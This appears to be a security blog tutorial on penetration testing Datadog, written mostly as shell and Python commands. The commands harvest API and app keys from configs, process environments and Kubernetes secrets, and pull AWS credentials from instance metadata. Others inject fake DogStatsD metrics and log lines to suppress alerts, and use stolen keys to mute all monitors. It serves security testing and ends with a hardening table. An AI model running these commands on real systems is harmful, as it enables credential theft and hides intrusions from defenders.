Observability Security

Datadog Security Testing: API Key Theft, DogStatsD Injection, Agent Misconfiguration, and AWS Integration Credential Exposure

📅 July 3, 2026 ⏱ 13 min read 🏷 Datadog, Monitoring, APM, SIEM

API Key and App Key Discovery

Key Type	Permission Level	Common Locations
API Key	Write-only: send metrics, logs, events	/etc/datadog-agent/datadog.yaml, env vars, K8s secrets
Application Key	Read/write: full API access including dashboards, monitors, users	CI/CD env vars, application configs, .env files
Client Token	Browser-side RUM data collection	JavaScript source code, public web pages

# Search for Datadog credentials across common locations
grep -r "api_key\|app_key\|DD_API_KEY\|DD_APP_KEY" \
  /etc/datadog-agent/ /etc/ /home/ /opt/ 2>/dev/null

# Check environment variables on running processes
for pid in $(pgrep -a datadog-agent | awk '{print $1}'); do
    cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -E "DD_API|DD_APP"
done

# Kubernetes: check for Datadog secrets
kubectl get secrets --all-namespaces -o json | python3 -c "
import json,sys,base64
data = json.load(sys.stdin)
for secret in data['items']:
    for key, val in secret.get('data',{}).items():
        if 'datadog' in key.lower() or 'dd_api' in key.lower():
            decoded = base64.b64decode(val).decode('utf-8','ignore')
            meta = secret['metadata']
            print(f\"{meta['namespace']}/{meta['name']}: {key} = {decoded[:20]}...\")
"

# Check DaemonSet environment variable injection
kubectl get daemonset datadog -n datadog -o json | python3 -c "
import json,sys
ds = json.load(sys.stdin)
for container in ds['spec']['template']['spec']['containers']:
    for env in container.get('env', []):
        if 'DD_API' in env.get('name','') or 'DD_APP' in env.get('name',''):
            val_from = env.get('valueFrom',{}).get('secretKeyRef',{})
            print(f\"Key: {env['name']} from secret: {val_from.get('name','?')}/{val_from.get('key','?')}\")
"

Agent Configuration Exposure

# Datadog agent config often contains sensitive integration credentials
# Check agent configuration file
cat /etc/datadog-agent/datadog.yaml | grep -v "^#" | grep -v "^$"

# Specific high-value configuration items:
grep -A 2 -E "api_key|app_key|proxy|apm_config|process_agent" \
  /etc/datadog-agent/datadog.yaml

# Check integration configurations (database credentials, cloud tokens)
ls /etc/datadog-agent/conf.d/
# Common integrations with embedded credentials:
cat /etc/datadog-agent/conf.d/mysql.d/conf.yaml 2>/dev/null | grep -i "password\|user"
cat /etc/datadog-agent/conf.d/postgres.d/conf.yaml 2>/dev/null | grep -i "password\|user"
cat /etc/datadog-agent/conf.d/amazon_rds.d/conf.yaml 2>/dev/null
cat /etc/datadog-agent/conf.d/aws.d/conf.yaml 2>/dev/null

# Agent status endpoint (default: localhost:5002)
# Can reveal running checks and their configurations
curl -s http://localhost:5002/agent/status | python3 -c "
import json,sys
try:
    status = json.load(sys.stdin)
    checks = status.get('runnerStats',{}).get('Checks',{})
    for check_name, instances in checks.items():
        print(f'Check: {check_name}')
        for inst in instances:
            print(f'  Status: {inst.get(\"State\",\"?\")} errors: {inst.get(\"LastError\",\"none\")}')
except: print('Status not JSON or auth required')
"

# Check if agent IPC endpoint is accessible (unix socket or TCP)
ls -la /var/run/datadog/
# /var/run/datadog/agent.sock — if readable by non-root = credential exposure risk

DogStatsD UDP Injection

DogStatsD listens on UDP port 8125 (or Unix socket) and accepts metric data from any source on the host. An attacker with network access can inject false metrics to manipulate dashboards and suppress alerts.

# Check if DogStatsD is listening on network (non-loopback)
ss -ulpn | grep 8125
netstat -ulpn | grep 8125

# If bound to 0.0.0.0 or network interface → injectable from other containers/pods

# DogStatsD protocol: statsd format
# Inject a false metric to manipulate dashboards:
echo "production.cpu.utilization:2|g|#env:production,host:web-01" | \
  nc -u -w1 TARGET 8125

# Inject custom event (appears in Datadog Events stream)
echo "_e{30,30}:Security Test|Injected event for pentest|t:error|#env:production" | \
  nc -u -w1 TARGET 8125

# Alert suppression: send metric that keeps alert threshold below trigger level
# If alert fires when error_rate > 5%, inject:
for i in $(seq 1 100); do
    echo "app.error.rate:0|g|#env:production,service:api" | nc -u -w1 TARGET 8125
done

# Service check injection (can affect monitors and SLOs)
echo "_sc|app.health|0|#env:production,service:api|m:All systems normal" | \
  nc -u -w1 TARGET 8125
# Status 0 = OK, 1 = Warning, 2 = Critical, 3 = Unknown

# Kubernetes: check if DogStatsD socket is mounted in pods
kubectl get pods --all-namespaces -o json | python3 -c "
import json,sys
pods = json.load(sys.stdin)['items']
for p in pods:
    for v in p['spec'].get('volumes',[]):
        if 'dsdsocket' in str(v).lower() or 'statsd' in str(v).lower():
            meta = p['metadata']
            print(f\"{meta['namespace']}/{meta['name']}: has DogStatsD socket mount\")
"

Cloud Integration Credential Theft

# Datadog integrations require cloud credentials to pull metrics
# These are stored in Datadog's backend but some deployments store them locally

# AWS integration: check for IAM role vs access key configuration
# Role-based (secure): no credentials stored locally
# Access key (risky): keys in config or environment

# Find AWS keys used by Datadog agent
env | grep -E "AWS_ACCESS_KEY|AWS_SECRET"
cat /etc/datadog-agent/conf.d/amazon_web_services.d/conf.yaml 2>/dev/null

# Check if Datadog uses instance metadata service (IMDS) for AWS auth
# The agent may be configured to assume roles via IMDS
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null
# If accessible: attacker with code execution can steal the same role Datadog uses

# Datadog's AWS integration IAM permissions are often over-broad
# Check the Datadog IAM policy attached to the agent role
aws iam list-attached-role-policies --role-name DatadogIntegrationRole 2>/dev/null
aws iam get-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/DatadogIntegrationPolicy \
  --version-id v1 2>/dev/null | python3 -c "
import json,sys
doc = json.load(sys.stdin).get('PolicyVersion',{}).get('Document',{})
for stmt in doc.get('Statement',[]):
    print(f\"Effect: {stmt['Effect']} Actions: {stmt.get('Action','?')}\")
"
# Common Datadog permissions include ec2:Describe*, s3:GetObject, cloudwatch:GetMetrics
# Some organizations grant overly broad policies

Detection Gap Testing

# Datadog Security Monitoring (SIEM) relies on log ingestion
# Gaps: missing log sources, sampling, agent downtime

# Test: perform a suspicious action and check if Datadog detected it
# 1. Failed SSH login attempt (should trigger brute force detection)
ssh -o BatchMode=yes -o ConnectTimeout=3 invalid_user@TARGET 2>&1
# Then check in Datadog Security → Signals for "Brute Force" rule

# 2. Check if Datadog monitors network connections from all containers
# If agent has network_monitoring disabled:
grep "network_monitoring_enabled" /etc/datadog-agent/datadog.yaml
# network_monitoring_enabled: false → no network flow data = no lateral movement detection

# 3. Check process monitoring coverage
grep "process_agent_enabled\|process_discovery" /etc/datadog-agent/datadog.yaml
# process_agent_enabled: false → no process-level detection

# 4. Test log sampling — does Datadog sample logs under high volume?
# Send high-volume logs to the agent and check if all appear in Datadog
for i in $(seq 1 1000); do
    logger "test-event-$i suspicious-activity"
done
# Count in Datadog: if < 1000 events arrive, sampling is dropping logs

# 5. Check for agent downtime blind spots
kubectl get pods -n datadog -o wide | grep -v Running
# CrashLoopBackOff or Pending agents = hosts without coverage

Log Injection and SIEM Bypass

# If an application forwards logs to Datadog via the agent,
# injected newlines can create fake log entries

# Test log injection via application input
# Vulnerable application logs user input directly:
# logger.info(f"User logged in: {username}")

# Inject fake log entry:
# username = "attacker\nINFO 2026-07-03 User logged in: admin  source:auth service:webapp"
# This creates a fake admin login event in Datadog

# Test via HTTP if logs come from web app:
curl -s -X POST "http://TARGET/login" \
  -d 'username=attacker%0aINFO+2026-07-03+User+logged+in%3a+admin&password=wrong'

# Check if Datadog has log manipulation detection enabled
# In Datadog Logs → Indexes → check for log integrity/tamper detection

# DogStatsD event injection to create false alert context
echo "_e{20,50}:Deployment Completed|Version 2.0.0 deployed successfully|t:success|#env:production,service:web" | \
  nc -u -w1 TARGET 8125
# Then: security team investigates alert, sees "Deployment Completed" event
# and may dismiss the alert as deployment noise

Datadog API Abuse with Stolen Keys

# With a stolen API key and app key, an attacker has broad access

# Validate stolen keys
DD_API_KEY="stolen_api_key"
DD_APP_KEY="stolen_app_key"
SITE="datadoghq.com"  # or datadoghq.eu, us3.datadoghq.com

curl -s "https://api.$SITE/api/v1/validate" \
  -H "DD-API-KEY: $DD_API_KEY" | python3 -c "import json,sys; print(json.load(sys.stdin))"

# Enumerate monitors (reveals security thresholds and detection rules)
curl -s "https://api.$SITE/api/v1/monitor" \
  -H "DD-API-KEY: $DD_API_KEY" \
  -H "DD-APPLICATION-KEY: $DD_APP_KEY" | python3 -c "
import json,sys
monitors = json.load(sys.stdin)
if isinstance(monitors, list):
    for m in monitors:
        print(f\"Monitor: {m['name']} type: {m['type']} state: {m.get('overall_state','?')}\")
"

# Mute all monitors (disable all alerting)
curl -s -X POST "https://api.$SITE/api/v1/monitor/mute_all" \
  -H "DD-API-KEY: $DD_API_KEY" \
  -H "DD-APPLICATION-KEY: $DD_APP_KEY" \
  -H "Content-Type: application/json" \
  -d '{}'
# ALL monitors are now muted — no alerts fire during attack window

# Enumerate users and their roles
curl -s "https://api.$SITE/api/v2/users" \
  -H "DD-API-KEY: $DD_API_KEY" \
  -H "DD-APPLICATION-KEY: $DD_APP_KEY" | python3 -c "
import json,sys
data = json.load(sys.stdin)
for user in data.get('data',[]):
    attrs = user.get('attributes',{})
    print(f\"User: {attrs.get('email','?')} status: {attrs.get('status','?')}\")
"

# Delete detection rules (destroys SIEM coverage)
curl -s "https://api.$SITE/api/v2/security_monitoring/rules" \
  -H "DD-API-KEY: $DD_API_KEY" \
  -H "DD-APPLICATION-KEY: $DD_APP_KEY" | python3 -c "
import json,sys
rules = json.load(sys.stdin).get('data',[])
print(f'Detection rules: {len(rules)}')
for r in rules[:5]:
    print(f\"  {r['id']}: {r['attributes']['name']}\")
"

Datadog Security Hardening

Security Test	Method	Risk
API/app key in plaintext config files	grep across /etc/datadog-agent/ and env vars	Critical
DogStatsD bound to 0.0.0.0	ss -ulpn | grep 8125	High
Monitor mute_all via stolen app key	POST /api/v1/monitor/mute_all with stolen creds	High
Cloud integration over-broad IAM	Review DatadogIntegrationRole attached policies	High
Process agent disabled (detection gap)	Check process_agent_enabled in datadog.yaml	High
DogStatsD metric/alert injection	echo metric | nc -u TARGET 8125	Medium
Log injection via user-controlled fields	Inject newline in logged user input	Medium